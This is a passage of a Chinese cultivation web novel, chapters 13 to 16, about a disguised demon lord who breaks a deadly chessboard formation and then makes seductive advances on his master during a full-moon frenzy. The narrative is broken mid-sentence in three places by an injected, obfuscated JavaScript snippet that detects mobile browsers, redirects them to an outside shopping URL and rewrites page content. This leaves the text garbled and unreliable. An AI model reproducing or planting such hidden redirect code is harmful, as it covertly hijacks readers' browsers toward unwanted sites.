盯着那盘荷叶鸡,陌归尘难得放缓丝态度,问:“这般套近乎,所为何事?真的仅限于交友?” 黄银:“我想帮你。” 陌归尘:“先回答我一个问题。” 黄银:“你说。” 陌归尘:“你觉得,魔尊之位如何?够高吗?” 13. 有师尊在, 13. 对面人默然,如被他这莫名其妙的话问住。 短暂的沉寂里,陌归尘不动声色敛着眼睫,心底却似随着风穿过的枝叶摇晃了一下。 几乎是瞬间,他指尖掐上眉心,微不可察地吐出点气息。 莫说黄银被他弄得云里雾里,连他自己也稀里糊涂了,这算什么问题,着实是奇怪得很。 “我觉——” “罢。” 两道话音同时响起。 陌归尘又问:“你觉得我是个怎样的人?” 这次,黄银的回答没被打断,她道:“性情中人。” 陌归尘冷淡凝视黄银:“所以你便理所当然认为我是那种旁人稍一示好迎合,便会急不可耐敞开心扉之人?你觉着这是坦率真诚?可我只道此乃孤独。” “而我,并不孤独。” “收起你的把戏,我不需要朋友,也不想与任何人交心。” 也不等人回话。 红影直接消失在夜色里。 * 出了客栈,街道行人络绎不绝,还有不少叫卖的小摊贩,喧嚣声鼎沸。 穿过几条冷冷清清的巷子。 陌归尘最终停在处荒凉的院门前,一如当年,他和闻笺被人领着进门。 “吱呀——” 残破的老木门被推开。 前方引路的男子,浑身笼罩在黑色斗篷里,只露出双黑白分明的眸,怪是神秘,回眸解释:“村子里的人都迁走了,就剩我这么一户人家。” 小徒弟天真问:“他们都走了,那您为何还留在此处?” 神秘男子淡声道:“等人。” “你等谁?” “不知道。” “啊?”小徒弟歪头,百思不解瞟瞟自家师尊。 师尊笑牵小徒弟,手臂轻轻一抬,把蹦跶跳起来的徒弟提着跨过木槛:“是中阴,生魂化成执念,滞留在人间游荡,又被尘网束缚在此,其实他已死去多年。” “那他究竟在等着谁?” “等一个永远不会回来之人。” 院内有片荷叶池,瞧见陌生人,几只埋头啄虫的三黄鸡扑棱翅膀“咯咯咯咯”地吱哇乱跑。 神秘男子端着盘粽子糖走来,歉意一笑:“我这也没什么好招待的,还望莫介意。” “粽子糖?” 小徒弟惊喜扑过去接糖,回来时却撅着嘴巴,狐疑扯扯师尊衣袖,小声嘀咕心中疑问:“那个人好奇怪,他的手刚刚明明还枯如老树,这么一会儿功夫,竟然光滑了些许。” 师尊拆开一颗糖:“他是个在时间长河里逆流生长之人。” “啊?什么意思?” 师尊将拆出的糖递给小徒弟,看着徒弟乖巧凑过头衔走糖果,方不急不缓继续道:“我们的日子顺着过,今日、明日、后日,他的生活则是逆着走,后天、明天、昨天,以此类推。” “哦,他是从未来而来的。” 小徒弟无所谓耸肩补充:“也就是说,我们的过去,是他的未来,他的过去,是我们的未来呗。” 随后,咔嚓咔嚓咀嚼脆糖,兴致阑珊没再追问什么,只满眼放光缠着自家师尊,缠着师尊一颗一颗给他喂了大半盘粽子糖。 “师尊喂我。” “还要。” “还要还要还要……” 小团子一头扎进自家师尊胸膛撒娇,毛茸茸的脑袋又拱又蹭,白衣仙人捏着小徒弟后颈皮,把人拎出来,低声呵斥:“谁惯的你?懒成这样子。” 小徒弟嘿嘿一笑:“闻笺惯的。”小团子小小一个,站直腰板都还没坐着的师尊高,说话时,脸颊的腮帮软乎乎的一鼓一颤,更显娇憨可人。 却煞有其事仰头,趾高气扬地说着恐吓的话,“小心我叫闻笺揍你!” 毫无威慑力,倒是萌得人心都化成滩水。 白衣仙人闷声低笑:“真是——” 小团子抢话:“反了天了!” 白衣仙人:“放肆。” 小团子继续抢话:“大逆不道!无法无天!没规没矩!目无尊卑!还有吗?” 白衣仙人:“伶牙俐齿。” 白衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375700|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仙人轻轻挥袖,本就是棋盘的石桌,顿时多出两钵棋。 招手:“过来。” 小徒弟爬上椅子,单手撑着下颌,撇嘴摆弄棋子:“怎么什么都学!你要我考状元啊!” 白衣仙人双指执白棋:“技多不压身,黑子先。” “行叭,反正师尊总是满嘴大道理,我听得耳朵都起茧子了,跟寺庙的和尚念经似的,嗡嗡的,吵死了!” 这一局棋,初始时,小徒弟的心思全然不在棋局,随意乱下,直至后面方忽地挺直腰身。 皱眉看着自己一步步走进死局。 小徒弟正欲耍赖,偷偷捻回几颗先前下的子:“不走这里不走这里。” 却被师尊制止:“落子无悔。” 小徒弟又露出副可怜兮兮的模样,去扯白衣仙人袖子:“师尊。” 师尊趁机说教:“你可知你是一步错,步步错,落得个满盘皆输?故而说,凡事需得三思而后行,人生如棋,落子无悔。” “哎呀!我知道啦!” “当真?” 小徒弟点头如捣蒜:“嗯嗯。” 白衣仙人抬手,正想下子:“好,那你输了。” “欸欸欸!” 小徒弟几乎整个身子趴上石桌去托住自家师尊的手臂,昂着脑袋瞪人:“师尊耍赖,不是说让我赢?” 白衣仙人:“你这已是死局,如何掰回?” 小徒弟撅起嘴巴,眸子灵动一转,眉眼生出丝狡黠:“谁说无可解的?有师尊在,我就永远不会输!” “此话怎讲?” 小徒弟抢走师尊手里的白子,拍拍自己这边位置,示意道:“你坐过来。” 师尊遂意走过去落座。 小徒弟又跳下椅子跑到对面石凳。 二人顿时交换位置。 小徒弟举起本该属于自家师尊的白色棋子,落下棋子,尔后手舞足蹈:“赢啦!我赢啦!” 月色下,白衣仙人周遭都拢着层清冷华光,缱绻的风拂过,院中唯余点很淡的笑声。 “小无赖。” 14. “殿下今日,好大火气。” 14. 院中。 银发青年仍在浅望。 他垂头敛神,这方石桌桌面上还有他当年亲手刻画下的墨色线条,奈何久经风雨,已褪色淡化得不成样子,斑驳,又残缺。 辨不清当年模样。 陌归尘抬袖,指尖刚抚上砚痕,痴痴定在原地许久。 月色一晃,映照着不知何时被人握在手的长剑,剑刃铮亮的光掠过陌归尘墨画般的眉眼。 他捏着剑身,反向戳向自己,在心口之处细细比划着。 剑尖贪婪舔舐心口红杉,蠢蠢欲动似嗷嗷待哺下一瞬便要翻涌而出的鲜血。 生死攸关之际,陌归尘骤然收手,阔步迈出院门。 院子对面是座凉亭。 此刻,果然有人。 他神色微凝瞧向这不速之客。 亭中男子姿态松弛,身影挺俊,墨发玄衣,月色下,银纹猫饰半脸面具流光轻浮。 肩披大氅,墨色绒毛风帽略染风霜,缀饰在帽檐的两枚猫爪式样平安扣的同心结长穗随风摇曳。 一个神色闲适的侧影,生生叫满庭大好风光沦为陪衬。 此人不是谁,正是魔界二把手,左护法二竹弋,当然也是仙门卧底,如今的玄灵宗掌门二竹弋。 只是这人夜半来访,刻意隐匿气息,行踪诡秘,也不知谋算什么。 “殿下。” 亭中人目光含了点笑,微微作揖行礼。 半晌未得回应,也不恼。 迎着陌归尘探究的冷眼,二竹弋唇角轻挑,敛眸,溢出点散漫来。 见惯了陌归尘在魔界那一袭奢靡绛红暗花翎羽云锦纱袍,项配金螭璎珞缀五彩丝绦系猫儿式样的玉饰,银发肆意散落,眸光流转间,张扬明艳,又雍容煌赫的堕仙模样。 如今却与以往大相径庭。 非但易容得相貌平平,还规规矩矩用简朴的桃木簪冠起一半银发,就连身上罩着的那件雪绒狐裘大氅,都素雅清新,竟还有闻笺的灵息。 远远一瞧,倒是与闻笺有二分神似。 真不愧是师徒。 着实微妙。 也别有一番韵味。 片刻后,二竹弋眉峰一转,亭檐灯笼烛光落在脸上,衬得那抹玩世不恭的笑更显蓄意。 与陌归尘绝世独立的明艳不同,二竹弋的风华绝代是染着几分邪气的,美好之余,更有种斯文败类的人夫感。 俗称:老不正经。 二竹弋便是如此凝望陌归尘,语气正经如禀报要事,说着自认坦然的话:“殿下再这般看我,我可真要顶不住了。” “呵。” 陌归尘斜觑了眼这惯是不着调的家伙,桀骜不驯冷嗤一声,懒得多瞧一眼,转身便要离去。 电光石火间,烽烟骤起,一道虚光屏障横起,将他拦下。 “左二护法?”银发青年淡淡的话音无丝毫情绪起伏。 夜风拂来,二竹弋眯了眯眼,指尖斜斜一拨,撩开龙须刘海,顺势摘下面具,露出张颠倒众生的脸。 他挑眉笑道:“殿下可真冷淡。” “如此良辰美景,不来一局,着实有负这大好景致。”说罢,大手一挥,变出盘棋,丝毫没撤结界的意思。 陌归尘双指并拢,随意凝出道冰锥剑,反手打出,冰刃破空疾飞。 骇人冰息,裹挟浑厚灵力,直逼二竹弋。 刚至眼眸子半公分距离,倏地,被人轻而易举夹住,二竹弋轻轻一弹,足以一招击毙大剩圆满期强者的冰刃,弹指间被化作虚有。 陌归尘淡眼看人化解他的攻击,并未慌。 视线再次顿在结界,自己倒是可以硬破,但强悍的灵力余辉势必殃及整个镇子。 这么大的动静怕是易引起轩然大波。 思忖间,陌归尘掌心拢出煞气,他的煞气可化万物,其中用得最顺手的当属魔鞭,当然也有魔藤,不过那多数是用来折磨人的。 煞气缕缕,须臾化作根红绫,嫣红滴血的软绸翩然,如同其主,极具迷惑性,藏在其中的雷霆万钧之气势,只一相碰,便轰然劈断石桌。 陌归尘睨视二竹弋,神色淡淡启唇:“没有人能威胁本尊,你,也不例外。” 石桌断裂,连带棋子也飞溅,二竹弋没吭声没躲避,任由那颗棋子不偏不倚划过脸颊,顷刻间,肌肤便渗出条红血丝。 突兀的一抹红,将那张俊脸映衬得更为邪气十足。 二竹弋手指悠悠拭过血痕,也不恼怒,反倒云淡风轻笑道:“殿下今日,好大火气。” 说罢,便是垂眸凝望指腹血迹。 红绫再起。 凌厉的气息,却倏然被吞噬掉,二竹弋气定神闲掀眸,徒手接住软带,缠绕进掌心。 “殿下息怒。” 话毕,若有所思般,捻着红绫,在自己的颈脖上绕了一圈。 二竹弋扬过另一半完好无损的脸颊,眼中噙出抹诡异的雀跃,盛情邀请:“殿下可要再来一下?凑个对儿?也好消消气。” 陌归尘蹙眉。 抽回红绫,那绫带却怎么也抽不回来,反倒因他蓄力,而慢慢收紧,勒实二竹弋的颈脖。 这一幕倒像是主人在拴拉条难以驯服的狼狗,陌归尘心中没来由一阵嫌恶,直接震碎红绫。 二竹弋拂过袖摆,碎裂的石台瞬间修复得完好如初。 甚至多出一壶沏好的茶水:“此乃我珍藏许久的上好茶叶,望殿下赏脸。” 趁人稍不留神之际,陌归尘指尖弹出缕焰火,刻意隐形的精细火点直击二竹弋眉心,却如拳击棉花。 他的幽冷青焰灼烧神魂,这些年来,唯独对二竹弋屡屡无效,真不知是这人修为太高深莫测,还是根本就是具行尸走肉。 可若是魂魄都没有,这人又该如何活着? 莫非是傀儡? 若是如此,那么操纵这傀儡之人的修为岂非更上一层楼?怕是连闻笺来了,都自愧不如罢。 二竹弋弯身,用绣金花边的绣袍拭擦椅子,甚至悉心放下个狐狸软垫,再抬手作了个“请”的手势。 “良辰,佳茗,殿下莫辜负。” 结界上方,浓稠夜色笼罩中,红月从乌云下露出半角,隐在叶影深处的寒鸦骤而鸣啼,诡秘又瘆人。 不对。 时辰不对。 陌归尘眸中精光一闪,手指捏着枚白子轻点几下:“你故意拖延我在此?” 丢下棋子,一掌震碎结界。 强大的灵力,肆虐横扫四面八方,陌归尘神色凝重环顾方圆百里,这结界之外,竟无人息? 他不假思索挥手消失。 朦胧红光覆落,映出片诡异的清幽,二竹弋也不追人,双指捡起那颗被陌归尘碰过的白子,有一下没一下地敲击棋盘。 “出来吧。” 簌簌几声,亭外树影下,缓缓走出位负手而立的男子,那人一袭雪衫,清冷素雅,浑身拢出层淡淡仙息,叫人望而却步。 二人对视片刻。 “玄灵宗距此甚远,二掌门深夜到此,意欲何为?” 二竹弋眉梢斜压,垂着眼帘掩去眼底邪气,意有所指:“堂堂仙门首座,竟也屁颠屁颠跟着小徒弟出来历练,这么一场好戏,还不许我来当个观客?” 闻笺沉默。 二竹弋将陌归尘碰过的棋子放在鼻尖轻嗅了一下,才不紧不慢移动视线,停在闻笺心口处,停顿许久,别有深意把玩手中棋子:“有意思。” 闻笺还是一言不发看人。 二竹弋:“不过我倒曾听到件更有趣的事儿,一个小宗门的弟子,私藏师父画像。” 言语间,双指捏起玉杯,自顾自品茶:“东窗事发后,谣言自此四起,有传弟子色胆包天窥伺师尊,有说师徒二人互生绮念早有苟且颠倒鸾凤,更有甚者说是师者为老不尊,德行败坏,身为上位者却以权谋私,步步为营误导徒弟落进歧途。” “许是怕师尊身败名裂,那弟子便捏碎命牌,以死明志,殊不知倒更显欲盖弥彰。” “你猜后来怎么着?” 二竹弋一口饮完茶水,偏头,牢牢盯着闻笺轻笑出声,“当师父的居然疯了。” “那师父日日坐在山脚下,逢人便问‘你瞧见我徒儿没’。” “这么一等。” “便是十载光阴。” “当真是听者伤心,闻者落泪。” 二竹弋语气轻飘淡然:“容我想想,具体是何时发生的来着。”尔后搜肠刮肚似的,煞有其事托腮沉思,犯难不已。 “噢。” 二竹弋神色豁然开朗,屈指轻敲石案,似笑非笑望向闻笺。 “想起来了,是仙尊给徒弟指婚那段日子前夕。” * 与此同时。 陌归尘逆着滚滚压迫气息,匆匆赶回客栈,原先的二层楼宇竟已化作片荒芜之地,寸草不生。 血月之下。 众人惶惶惊恐愣在原地。 他视线扫过地面,地面早已化作方巨大棋盘,这阵法竟是以人为子? 以他的实力,不难辨出这法阵的层层伪装,连片乌黑薄雾中,每个人身上都笼罩着股淡淡的白光,是白子,并且以命作子,一步错,则万劫不复。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375701|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>浑然不清楚状况的众人抱作一团哭嚷:“这到底是什么呀?” “师姐救我!” “呜呜呜好可怕,啊!”一名弟子刚说完,便有人因挪动脚步,倏然被化作万箭的黑雾穿心而死,连尸体都被吞噬得一干二净。 “死了?又死了一个!” 哀嚎尖叫声顿时四起,恐慌逐渐蔓延,一道温婉的女声利落安抚道:“大家少安毋躁,切不可再轻举妄动!” “都看看自己的同伴可还在?” “黄师妹不见了?” 黄师妹? 黄银? 陌归尘眉宇紧蹙,穿过虚空的屏障入局。 便又听道声:“陌师弟也不见踪影。” “他是临阵脱逃跑了吗?” “咱们也跑吧?” “不想在原地等死啊!” 大师姐倒是可以抽身脱险,但她职责所在,绝不能丢下师弟师妹,赶忙焦急制止:“别动!你们千万别乱动!” 慌不择路的人哪还能听劝。 那男弟子对大师姐的话根本不入耳,踉踉跄跄迈腿。 咻—— 一截树枝,飞到脚尖,强盛气势生生将男弟子抬起的腿逼得一软,整个人跌坐回原地。 莫名被制止。 连同几名搀扶人的弟子都惶恐失措,异口同声问:“谁?” 红影从黑雾中款款现身。 陌归尘:“是阵法幻象。” “陌师弟?”大师姐瞥来视线,见人竟如此轻松从容,不由得微惊,“你有高见?” “切!他能有什么高见!” “装吧,他最擅长。” …… 陌归尘没理会旁人,只看着大师姐,淡淡道:“眼见不一定为实。” 此言出,性子急的已坐不住。 “简直滑天下之大稽!” “你又在装什么高深莫测!” “方才王师弟的死,只是碰巧,若眼见都不能为实,我们还能信什么?” 陌归尘:“你的心。” 有人捧腹大笑:“哈哈哈哈!陌师弟,你在说什么?你怎么幼稚得这么可爱呢?我都不忍心骂你了。” 有人嘲讽:“简直荒谬至极!” 有人倨傲冷言:“你该不会以为自己是仙尊弟子,我们便都无脑迎合,阿谀奉承你吧?仙尊固然威名在外,但我等也是有自己的骄傲!” 沉默许久的大师姐冷声打断:“够了!我们现今危在旦夕,可不是内讧之时。” 她抬手示意:“陌师弟继续。” 陌归尘随手指了个人,轻然吐字:“你去掩人耳目,混淆视听,配合我。” 众人颇有微词,反驳声连连,怨声也不绝于耳。 “你到底想做什么?” “性命攸关,这可不是玩!” “再说!我们又凭什么听你的?” 陌归尘冷笑:“那你们祭阵罢。”说着正欲离开。 “慢!” 大师姐到底没法子带领众人全身而退,她脸色复杂扫了眼陌归尘,回忆起临行前接到掌门师尊秘令:若可以,悄无声息让陌归尘“死于非命”。师命不可违,如今确是个好机会,可代价是几十位师弟师妹的性命,她做不到。 又想起那日秘境中,此人的临危不惧与深不可测的实力。 郑重其事沉声道:“陌师弟,我暂且信你,可若你心怀不轨,借刀杀人,那就休怪我无情。” 对于此话,陌归尘也懒得反驳,只更在意幕后的布阵人。 到底是居心叵测,有意陷害,还是只是巧合? 诡异的阵法,竟与十年前那夜惊人的相似,是他非闹着要随二师姐护送宗门秘宝那夜,唯一不同的怕是—— 那夜,死的只有将他护在身下的二师姐。 “陌师弟,陌师弟?” 温婉的女声将人唤回现实,陌归尘抬眸,只听大师姐神色凝重,“陌师弟你且说,到底如何破阵?我尽力配合你。” 风声四起。 陌归尘审视四周。 “你们走错太多,现如今,白子已成死局。” 眼前残影一晃,从前种种又悄然重现,是儿时与闻笺对弈的无数个场景,回回将要输之前,便耍赖堂而皇之地偷天换日,交换二人棋钵。 闻笺虽无奈他的棋品,到底还是次次纵容他把—— 白子变黑子。 黑子变白子。 当真应了曾经的戏言—— 师尊永远不会让我输。 陌归尘抬眼,淡淡启唇:“逆转阵法,颠倒黑白。” 15. 月圆之夜。 15. “师姐,我们真要听他的吗?可你昨夜不是说师尊先前有吩咐秘密任务?”摇扇男扯扯自家师姐袖角,眸中露出抹精光,啪地收扇,用折扇做了抹脖子道,“现在可是大好机会,可将计就计,借刀——” “咳。” 大师姐轻润嗓子,眨眼示意,用口型说,“众目睽睽,谨言慎行。” 人多,难免七嘴八舌,这片荒地嘈杂不已,陌归尘也没兴趣留心大师姐与自家师弟的窃窃私语。 他只目视众人,难得肃然,破有几分仙门大师兄的稳重风范,沉声提醒:“稍后,无论瞧见什么,皆不可轻信,哪怕是你们的至亲好友。” 众人无计可施,唯有死马当活马医追问陌归尘:“那我们如何辨别真伪?” “用心。” 众人语塞:“……” 陌归尘扫过众人欲言又止的脸庞,不由得想起某次宗门历练,彼时,还是青栀的他提前归来,悄悄化作旁人的模样潜进落霞峰,想给师尊一个惊吓。 哪知一眼便被师尊识破。 意气风发的少年郎抱剑倚门,苦思冥想,连连摇头:“这没道理呀。” 见他挫败不已,闻笺搁下毛笔,从书案旁抬眸,云淡风轻笑笑,淡声宽慰,说着任谁都听得出是哄人的话:“倒也不必如此怀疑自我。” “我们闻大侠的幻化之术着实一绝,再修炼个十载八年,为师怕是也难辨真伪。” “哦,所以还是被看穿了,啧,算你厉害咯。” “其实为师倒不是仗着修为勘破你的幻术,皮相可改、气息可匿,唯独由内而外的感觉,难以易除,为师记得,曾教过你,莫要单纯依靠眼睛辨待事情。” 好像记得。 大抵是八岁那年。 有人跟他说过一句话 ——要用心看人。 所以他在跟师兄师姐们出门降妖伏魔时,曾在鬼城偷偷放走过一只善良的小妖,皆因他能感受到小妖的赤诚之心。 是夜,人人呵斥他。 那刻,几岁的孩子开始埋怨自家师尊,都怪师尊。 然而—— 不过几日,鬼城冤魂反噬。 整座山头都沦陷在怨气中,他们被困山上寺庙,最终是那小妖,也就是与他相逢于微时的魔界右护法,为他们暗中带路。 他们方得以逃出生天。 倘若没师尊教导的那句“用心看人”,后果不堪设想。 …… 陌归尘退出回忆:“用心辨别。” “这……” 众人面面相觑,俨然无语,却也没辙闭嘴。 陌归尘没再理会,凝神结印,化出一道道清心咒符,打进在场每个人体内,助他们破除第一层视障幻象。 众人视野顿时清明些许。 “欸?可算能看着路了。” “好神奇啊!” “陌师弟本事不小啊!” “切!随便画个破咒就把你们收买了?” “就是,就这么点出息!” “你有本事怎么不见你使出来?承认别人优秀就这么难吗?酸鸡!” …… 嘈杂声依旧,陌归尘脸色淡然,目光下敛,轻瞟瞟扫视还在七嘴八舌的人。 几名弟子不知为何,忽地被陌归尘那股不怒自威的气势唬得怯场,皆同时收嘴,噤若寒蝉杵在原地相顾无言。 随后,方听那人不咸不淡道:“引气入体,摒除杂念,以心观路,便能破除第二层幻像,能否跳出这一关,靠你们自己,待你们安然走出,方是自由身,我也才能遮天换日,实施移形换影之法,使白子变黑子。” “好。”毕竟如临大敌,众人终归不敢再轻视,重重吐出口气,沉沉点头阖眼。 风声猎猎,冰冷刺骨。 整片荒地阴凉骇人,不知多久后,最先睁眼的是陌归尘曾搭救过的外门女弟子轻衣。 她悄悄打量陌归尘。 许久后。 陌归尘偏头看她:“有事?” “我那日……”小姑娘讪讪挠头,“说话有些重,陌师兄你别介怀,改日我请你吃酒。” “无碍。” 见人如此,轻衣更愧疚难当,赎罪似的殷切追问:“待会儿你是不是需要人帮你混淆视听?你觉着我可以吗?” “其实你不必——” “我真心的,陌师兄,我向您道歉,任凭您差遣。” 陌归尘轻笑:“言重了。” 轻衣:“我认真的!” 陌归尘:“我知,等他们出来,我们便开始。” 轻衣惊喜拍手:“好!” 半个时辰后,众人陆陆续续走出第二关,不幸,还是有两名弟子重伤,险些陨落。 刚从鬼门关走过一遭,他们五味杂陈百感交集,望着陌归尘,最终只是轻叹,什么话也没说。 “轻衣过来。” 陌归尘对着轻衣道,“我现在你身上画符,蒙骗阵法之灵。” “嗯。”轻衣不假思索转身,爽快将后背交付出去。 见人如此信任他,旧事如梦般反扑,陌归尘难以遏制地怔怔,往事抽丝剥茧般涌出,也只是瞬间,那份酸涩到底还是被压回心底。 陌归尘提气凝起灵力光辉,结出道符咒打进轻衣后背。 “稍后听我指引走。” “嗯。” 轻衣点头,整个人被包裹在符咒的星火流光里,依据陌归尘的提示一步一步前行。 陌归尘一边引着轻衣迷惑阵灵,一边抬眼望天,这第三层,便是要偷天换日,阴阳颠倒。 他单手捏诀,五指飞速结印,拉快时间进程。 终于,天幕乌云退散,残月如泣血,落下,旭日东升,霞光漫天晕开。 二者交替之际。 陌归尘掌心已经拢满日月交替时的光辉,炫彩的光球悠悠运转在掌上,凌厉的眸光一闪,问:“到阵眼了吗?” “到啦!” 清脆的女声响起回应。 未有半分迟疑,陌归尘将掌心的日月精华轰去轻衣。 刹那间。 莹白的灵力裹紧那名姑娘。 又顷刻间以人为载体,全数灌进阵眼。 强悍的余光充盈众人视野。 似有什么东西在倒流。 罡风刮得人肉疼。 众人眯眼:“啊!好疼啊!陌师弟你怕不是在害我们!” 有人蠢蠢欲动,挪动脚步,要“临阵脱逃”。 逆着呼啸的狂风,轻衣回头大喊:“万不可乱跑啊!都什么时候了,你们还执迷不悟!抱有偏见!陌师兄真要害我们,用得着大费周章?杀你们,不就是一巴掌的事情?蠢钝如猪!” “我看蠢笨的是你!姓陌的只是想把自己摘出去,既顺利铲除眼中钉,来日又还能假惺惺哭诉自己奋不顾身入局救人,奈何着了妖魔的道,而无果,以骗获些情深意重的好名声,一石二鸟,好计谋。” 几名正欲偷跑之人说着自认最义正词严的定论,却被不想殒命的人一把扯回呵斥:“你们几个!是想我们几十人,为你们的愚蠢送命?” 随后,你一言我一语争吵不休。 对于众人反应,陌归尘无动于衷,丝毫掀不起半分情绪波兰,只淡漠觑了眼:“我可不想当什么烂好人,你们的生死与我无关。” “想要前功尽弃,悉随尊变。” 话毕,撇开视线,牢牢盯着阵眼,五指深深掐进掌心。 陌归尘眸中腾起抹近乎偏执的暗光,仿若在愧疚当初的无能,如今实施迟来的补救,便能自欺欺人挽救当年舍身相救的姑娘。 终于。 飒—— 阵眼阵符水流般冲刷而上,看不懂的金光符文,团成圈,漂浮于半空,缓缓旋转。 便是此刻! 陌归尘咬破中指,挤出滴血,混进早便画好的结印,一掌轰过去。 罡风骤停,阵符蓦然逆转。 流淌在空气的碎光翩然四散,覆落众人,碎光消散,众人身上那层淡淡的白光,须臾间化成片黑雾。 “风停了!” “我感觉浑身好轻盈啊!” “棋盘?” “我们竟真在棋盘之上。” “陌师弟,下一步该如何?” 陌归尘气定神闲扫视棋盘,漫不经心瞟过众人:“这么简单的局,还需要我教?看来诸位功课不过关,师姐大抵该请示一下长老重新考核。” 众人噎声:“……” 到底也是理亏,况且这困局还没彻底破,便也没再说话。 大师姐微笑打圆场:“陌师弟爱说笑。” 随后指了几个人:“你,往东南方向走十步。” “你,后退两步。” “你……” …… 半盏茶功夫后。 陌归尘心头的不安越发浓郁,叫人微微焦躁望天,现如今是青天白日,瞧不到天上月,但众人每走一步便会拉快时间进程。 不消片刻功夫,山际残阳如血坠落。 月上枝头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375702|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那竟是一轮圆月! 提前一日到达月圆之夜,莫非是他在那座旧院追忆过往之时,已被人悄悄拉快了日子? 中计了? 明月高照,由不得人多想,陌归尘心头猛地一跳,几乎瞬息,痛感袭来,搅得人开始神智不清。 那边,众人将最后一步走完,阵法轰然坍塌,露出荒地原本的模样。 是片幽深陆林。 寒鸦鸣啼。 陌归尘强压神志回头。 “走。” 陌归尘五指蜷缩抓地,带出几条可怖的抓痕,修长莹亮的指尖沾上淤泥。 月色朦胧下,银发青年惨白的额角薄出片冷汗,几缕发丝散乱飘荡,孱弱,又微妙地给人添上两分惊心动魄的美。 叫在场之人都看得呆滞。 陌归尘自然不知众人都愣住,只手捂心口,单膝跪地,再次冷声提醒:“快走。” 每当月圆之夜,体内煞气便会蛮横暴乱,肆意吸收周遭所有灵气,再慢慢转化成煞气,处于半癫半狂的魔怔状态,回回醒来之际,只看到手臂的那株蔷薇,似得灌溉,更娇艳欲滴,恍若下一瞬便能破体生长。 此刻,他依稀能感受到体内的血蔷薇正在游移,真如有生命那般,最开始是出现在掌背,后来是手腕、手臂,如今已经悄然爬上肩膀。 诡异的却是,无论怎样,他都无法将这玩意儿逼出体内,貌似这朵蔷薇誓要在他体内生根发芽,彻底开出花来,才肯罢休。 “走啊。” “陌师弟,你怎么了?” “陌师兄,你没事吧?” 两道女声急切又异口同声。 倏然,冲天气息,强悍霸道,从陌归尘身上暴戾泄出,铺天盖地蔓延方圆百里,一瞬间震晕在场的弟子。 大师姐实力凌驾众人,勉强抵住这攻击,却也狼狈不堪连吐几口鲜血,拄剑撑地。 她素来是个眼尖儿的主儿,几乎瞬间便察觉出陌归尘的气息紊乱而强悍。 像入魔的征兆。 但此人身上,又浑然没有丝毫溢出的魔息,修道多年,从未见过如此怪象。 掌下剑光铮亮,寒光映眸,大师姐蓦然想起掌门师尊的秘令。 她提剑起身,悄然靠近低头喘息的银发青年的后背。 正想趁人虚弱之际,在那背部来上一剑。 眼前红袖翩然飘过。 陌归尘衣摆一甩,便已站起转身,迎风伫立月色之下,红衣摇曳,居高临下睨来。 眸光猩红嗜血,又沉静无波,俯视众生如蝼蚁。 “你……你是谁?”大师姐骇然瞠目,口中补了句滴水不漏的话,“何方妖孽竟敢夺舍?快从陌师弟身上滚下来!否则休怪我刀剑无眼。” “呵。”陌归尘轻笑,慢条斯理把玩手中的黑鞭。 “不自量力。” 说罢,便如生杀予夺的神祇,轻然挥鞭,落下大乘期圆满都未能安然无恙接住的致命攻击。 黑鞭如毒蛇,破空落下,电光石火间,大师姐根本无力招架,罡风疾速,凌厉的气息倏然在咫尺间被抹白袖挡下。 鞭子虽被挡下,避免了草菅人命的一幕,但那浑厚的煞气还是将大师姐击得踉跄倒退十几步,口吐鲜血,两眼一黑,便是不省人事。 陌归尘执鞭的手紧了紧。 他眯眼,笑看徒手接鞭的清隽身影:“师尊?” 片刻后,陌归尘视线从闻笺那张脸往下移,贪婪盯着被自己抽出血的掌,舔了舔唇角。 指缝间,几滴殷红的血,欲坠未坠,可真诱人。 连自己惯是强悍的黑鞭,都瞬间化作藤蔓,软如绕指柔,一寸一寸地顺着闻笺的手掌舔舐、缠绕、蔓延而上,亲昵、色情,又极具占有欲。 尤像合欢宗惯用的伎俩手法。 闻笺蹙眉:“我是你师。” 红影一个瞬移,银发青年挨着闻笺便贴了过去。 “师尊怎么了?师尊不就是用来以下犯上的吗?” 陌归尘变出猫尾,若有似无地扫过闻笺腿脚,眼尾薄红缀上欲色与痴妄,声音喑哑又蛊惑:“你敢指天发誓,你不曾有过半分心动?” “承认吧,经年的情谊早就在岁月里变了味。” “你分明也想吻我。” 银发青年把猫尾塞进闻笺手里,盛情邀请:“师徒逆伦又如何?冒天下之大不韪岂非更刺激?” 陌归尘仰头,捻指去捏闻笺的下颌,强迫那人低下头,与自己对视。 吐气如兰道:“师尊,吻我。” 16. “你都不问问我这十年。” 16. “放肆。” “呵。”陌归尘凝着闻笺莞尔,挑眉挑衅,“不容放肆,也放肆多回了。” “再大逆不道这一回又如何?” 